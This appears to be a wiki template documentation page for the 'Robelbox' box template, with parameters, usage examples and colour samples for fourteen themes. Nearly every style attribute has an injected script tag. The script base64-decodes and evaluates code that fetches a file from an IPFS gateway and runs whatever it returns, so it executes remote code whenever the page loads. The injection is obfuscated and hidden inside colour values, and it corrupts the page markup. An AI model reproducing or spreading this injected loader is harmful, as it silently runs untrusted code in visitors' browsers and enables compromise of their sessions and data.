<div style="border-bottom:1px solid #E39C79<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#fbe7c1<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Title
Parameters:
- theme: Values 1 to 14; gives colour scheme:
- tan (default)
- mid green
- slate blue
- red
- mauve
- yellow
- mid blue
- orange
- grey-green
- sky blue
- better mauve
- light red
- blue
- grey
- title: Box title.
- width: Box width; default is 100%.
- height: Guess; default is 100%.
- icon: Image name for icon.
- iconwidth: Pixel width of icon; default is 56. Include "px".
Don't forget to use the {{Robelbox/close}} template after your content!
This template should be used together with {{Robelbox/pad}} to pad out the box contents - see examples below, and see talk page.
|
Simple examples
Theme 1: Tan (default)
This code:
{{Robelbox|theme=1|title=जीवनी श्रेणी वृक्ष}}
<div style="{{Robelbox/pad}}; font-size:90%; height:150px; overflow:auto;">
<categorytree mode=pages>जीवनी साहित्य</categorytree>
</div>
{{Robelbox/close}}
produces this box:
<div style="border-bottom:1px solid #E39C79<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#fbe7c1<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">जीवनी श्रेणी वृक्ष
|
Theme 2: Mid green
This code:
{{robelbox|theme=2|title=Test title}}
<div style="{{Robelbox/pad}}">
Test content using a default box with theme=2
</div>
{{Robelbox/close}}
produces this box:
<div style="border-bottom:1px solid ForestGreen<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#a6f8a6<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Test title
Test content using a default box with theme=2
|
Color samples
<div style="border-bottom:1px solid #E39C79<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#fbe7c1<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 1
|
|
<div style="border-bottom:1px solid ForestGreen<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#a6f8a6<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 2
|
|
<div style="border-bottom:1px solid SteelBlue<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#c2d4ec<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 3
|
|
<div style="border-bottom:1px solid IndianRed<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#f7aaaa<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 4
|
|
<div style="border-bottom:1px solid MediumPurple<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#decdde<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 5
|
|
<div style="border-bottom:1px solid Gold<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#ff9<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 6
|
|
<div style="border-bottom:1px solid RoyalBlue<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#a3d4f3<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 7
|
|
<div style="border-bottom:1px solid #E78A69<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#fde4cd<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 8
|
|
<div style="border-bottom:1px solid #71be3f<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#c0eaa6<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 9
|
|
<div style="border-bottom:1px solid #4290bc<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#9AD4F6<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 10
|
|
<div style="border-bottom:1px solid #C289C3<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#E6C6E6<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 11
|
|
<div style="border-bottom:1px solid #C56B74<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#F4B8BF<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 12
|
|
<div style="border-bottom:1px solid #8488DC<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#CED1FA<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 13
|
|
<div style="border-bottom:1px solid #aaaaaa<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#e4e4e4<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">Theme 14
|
|